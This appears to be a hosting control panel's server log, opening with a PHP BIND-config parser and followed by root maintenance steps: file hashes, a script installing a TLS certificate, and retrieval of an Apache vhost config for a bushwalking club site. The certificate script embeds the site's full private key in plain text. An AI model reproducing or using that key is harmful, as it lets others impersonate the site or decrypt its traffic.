function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-10-29 10:40:29:
runuser -l bind -s /bin/bash -c '/tmp/pkp544329; rm /tmp/pkp544329'
2025-10-29 10:40:29:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-10-29 10:42:00: Establishing a connection
2025-10-29 10:42:00:
PUT: /tmp/pkp441985
#!/bin/bash
temp_file=$(mktemp)
TARGET=65c19728b6c59b5ac40abac85aa0d8fa.crt
cat > $temp_file <<'endmsg'
40:68:fc:a9:24:55:cf:7b:2b:74:ce:15:84:c5:64:ed
-----BEGIN CERTIFICATE-----
MIIGrjCCBRagAwIBAgIQSFfFAzykHHwGw3t0kz/61TANBgkqhkiG9w0BAQsFADBg
MQswCQYDVQQGEwJHQjEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMTcwNQYDVQQD
Ey5TZWN0aWdvIFB1YmxpYyBTZXJ2ZXIgQXV0aGVudGljYXRpb24gQ0EgRFYgUjM2
MB4XDTI1MTAyOTAwMDAwMFoXDTI2MTEyOTIzNTk1OVowKTEnMCUGA1UEAxMeZGFs
bWVueW5hcm9vbWFidXNod2Fsa2Vycy5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEApomE2i2oePAZdhPX+jOWyUBVJUFMm3Pyu4Ec9kACeAkofmTi
8uHcwayjBEakNFUhTDhQONsJ54Gyj6ja6/Mnxh0Pk26W06jEuAh5rTNCy8rLS96G
+SkgbNtJ7CjG962ADmt7vB55iuFPldKtcO0fNEQ7tQOcc1RjEWWcqDT2Dna0K2hS
aX8yZ6PkspfvWq/Yo/mBFeNL7Rw0IwjY+IqWjlXWYyFwDCYPYYHTUr1/na1+vNGM
tSI1bhaYQloSTSDydJKtfixH1KmBd3iARBvgJR/B3687aVfJj9FC4BNaxEhcC2ap
XvaIfgTBPMwUIKDr9U6QsyPPQ8AWMJWJfKacxwIDAQABo4IDGTCCAxUwHwYDVR0j
BBgwFoAUaMASFhgOr872h6YyV6NGUV3LBycwHQYDVR0OBBYEFAvtveDvI8Tz3J/U
odFnCqAwiA7sMA4GA1UdDwEB/wQEAwIFoDAMBgNVHRMBAf8EAjAAMBMGA1UdJQQM
MAoGCCsGAQUFBwMBMEkGA1UdIARCMEAwNAYLKwYBBAGyMQECAgcwJTAjBggrBgEF
BQcCARYXaHR0cHM6Ly9zZWN0aWdvLmNvbS9DUFMwCAYGZ4EMAQIBMIGEBggrBgEF
BQcBAQR4MHYwTwYIKwYBBQUHMAKGQ2h0dHA6Ly9jcnQuc2VjdGlnby5jb20vU2Vj
dGlnb1B1YmxpY1NlcnZlckF1dGhlbnRpY2F0aW9uQ0FEVlIzNi5jcnQwIwYIKwYB
BQUHMAGGF2h0dHA6Ly9vY3NwLnNlY3RpZ28uY29tME0GA1UdEQRGMESCHmRhbG1l
bnluYXJvb21hYnVzaHdhbGtlcnMuaW5mb4Iid3d3LmRhbG1lbnluYXJvb21hYnVz
aHdhbGtlcnMuaW5mbzCCAX0GCisGAQQB1nkCBAIEggFtBIIBaQFnAHYA2AlVO5RP
ev/IFhlvlE+Fq7D4/F6HVSYPFdEucrtFSxQAAAGaLYwy5AAABAMARzBFAiA3QDjY
f7EmBG0MvFgBlJcc+NfjXu/PYVv8/OXKVBCDiwIhALsFiy1+6ce+UKQr300hIBAC
Ru+1lKiY61dFFvUiNZ15AHUAr2eIO1ewTt2Pptl+9i6o64EKx3Fg8CReVdYML+eF
hzoAAAGaLYwzoQAABAMARjBEAiB8M7BUe+mhJQ0MERf9VhatL/ze4oH43GULdn5+
AfCKzAIgeV4B4yaLtD1wkidq/0BK/tqsoNlZBQ01l3ChBACp+bcAdgCsqzBwbOvs
hDH0E9L0kV8RHkIkQ7HypoxPPCs7px4CwwAAAZotjDLHAAAEAwBHMEUCIQCakjCT
dA4GzoJ7PDfg3Yg4EL11lliGf5snzmJhI9QRoAIganDcOH7LTcu82dWovWYQBHNx
fjK9AqqjhLYVBdv0wlAwDQYJKoZIhvcNAQELBQADggGBAHpKHtpr8oqC9woMLdyX
air5JFI16wFlswVd6Ei9YEZnRWIulWyA38V4ElnT510VUBvf1hA4v8jrmgHmLd3V
kLj+MTjJCOd6OuIt8vIWSaopuv4ozPC06t2QU5rDg7FaDupbpG59Vhuu4Okoudml
KjNKNGoiCR4PJrCZ3WKH6pAtNgDKCXGeicDJlsx/F3Rj1hPChcFiLTiRYYY/LxjE
08N5YfUm5dt36HTAw1IQjRAb/xBhV3zaZMO855xnVezkV6PNHq2EKXDQtElm1o5v
E3/rQ76zuFLT/7nrpkyHLuEu64JIcaRSpOUa1NOnQxUQoGgYJ92Li/FqApMPzJN9
5ofXDOH02svbwFqYQTnFthwhRnGe3et2lHMasBTyrhyugZK5xUB3x6qo59CIL3TF
4dJDn+EobCB1L7U4QkUGM4lhiqjKd+S2iMRx8gtZuVBkBvnvilUCJNCZaQEJuEEW
V5eUhDVnMs9Esm3ty56x0OnZ0Vh5T5HjgCDoGZnPA/Rw6A==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCmiYTaLah48Bl2
E9f6M5bJQFUlQUybc/K7gRz2QAJ4CSh+ZOLy4dzBrKMERqQ0VSFMOFA42wnngbKP
qNrr8yfGHQ+TbpbTqMS4CHmtM0LLystL3ob5KSBs20nsKMb3rYAOa3u8HnmK4U+V
0q1w7R80RDu1A5xzVGMRZZyoNPYOdrQraFJpfzJno+Syl+9ar9ij+YEV40vtHDQj
CNj4ipaOVdZjIXAMJg9hgdNSvX+drX680Yy1IjVuFphCWhJNIPJ0kq1+LEfUqYF3
eIBEG+AlH8HfrztpV8mP0ULgE1rESFwLZqle9oh+BME8zBQgoOv1TpCzI89DwBYw
lYl8ppzHAgMBAAECggEBAJNIe94ZEy4h6eKrmg8FIQ3Lf4H7Ri0VVk7N2TdPVN+j
+dQOlUgIyJvgeiuF7iL6RwCJrSkbTp8X7TtwMm0KFtr3SJcy7uEyGQhJNpMfCqwB
JdprayNgY/Th23aoeY8COoaGOGAe848HxMLUF+APVdF7pvJnxy2YLCVuoCWC8TnI
ArfMaOaCvMqR4jneKmEN2ggz8jffN8495CmvX7po//gLcUPBXDlW5yH/5IlQ8asn
lacPUAuFT5QplpUwAJo+lHd5nXg+UQwpmG1EpncaWTXtR3TMl7muV2QBUwxTBCbt
5KYOJvTDwfQUyQx8UWDeFcokZN/vIMwgFMeIbl0Z7sECgYEA4ngUef5zYd6khT+C
7Gkh90Mm18IdarZWwA0cMebyKP8dgJsIOoUo/VDdv53OvyJbB3WGA6v5/e6LpxiQ
hpJEyUa9wtFOCbhj0wWGGLhsm9EjLQrjAvLOaar5Bdzxa7kaCWUein74cbQcnBPE
Tg111FMBVUxh1kFK8QXa5qqFZFMCgYEAvEDPwtngBTIdhwsOES/ZKj86f9zdhSSV
h2pk4/FL2N3KFcI4qDY8JBTrtPgUZ88PU4+jfMMZnB/+FfO7PrnEq0E0HzWz5+sK
DS63xIewLylPGXf0n5zZFcBXPEfU7/QrRKzFXCr197ruMzfGzXjmOxvqBDmMA2tB
qJQS+2p01z0CgYAA0MXiGpR3ycF16WCjUU2aAlfldwF8HOP7FREA7P/6PdDxYZ2J
+GjJYL0rr3nLHmiNglLVOI1R6MX/+AqtMWGmB+cvCGnrhwp0/BQbiq55cStbQirH
G/C6WK9E4iLMbII3fnG5tfNXFXr05O1UCqBd/16F3ByOFPYcIBVFt197mQKBgAWt
DpaZax+8+xbvRmVORAX6EhF431T8XWXP12roA5luVoGBcaPgvr93wgOa10KqA5RJ
aGyClWsXq9mNl7+0ajGfraqjO+FqPMtY9UF/tdg2LqRd8Yo+eG0nd3nh0JHLkuJn
MywsP25QvI3eyKe5VXfCx7OI6KfRvBERJeFevFchAoGABuc0orjfrODGka44NsAy
FOCY4vl7nQPuA3UZ2gineksMJawgBK0rgchDRArCxarRSk996WwgwBctcYufaF2p
lruO1v8yVZ255vJwDvNK4R1ZqhA61qQeUCaTOCYRa9X27OkW5nRUHZRTWZJV2ApU
Bcj8kBb51bLUKz5D/IMOUw8=
-----END PRIVATE KEY-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-29 10:42:01:
chmod 755 /tmp/pkp441985; /tmp/pkp441985; rm /tmp/pkp441985
2025-10-29 10:42:01:
dir=/etc/ssl/certs
2025-10-29 10:42:01:
PUT: /tmp/pkp506022
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-29 10:42:01:
chmod 755 /tmp/pkp506022; /tmp/pkp506022; rm /tmp/pkp506022
2025-10-29 10:42:01:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf 58
<VirtualHost *:80>
ServerName dalmenynaroomabushwalkers.info
ServerAlias www.dalmenynaroomabushwalkers.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/dalmenynaroomabushwalkers_www
<Directory /var/www/dalmenynaroomabushwalkers_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dalmenynaroomabushwalkers/www_access.log combined
ErrorLog /var/log/apache2/dalmenynaroomabushwalkers/www_error.log
SetEnv pkp_uid 47
SetEnv pkp_owner dalmeny
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dalmenynaroomabushwalkers.info
ServerAlias www.dalmenynaroomabushwalkers.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt
DocumentRoot /var/www/dalmenynaroomabushwalkers_www
<Directory /var/www/dalmenynaroomabushwalkers_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dalmenynaroomabushwalkers/www_secure_access.log combined
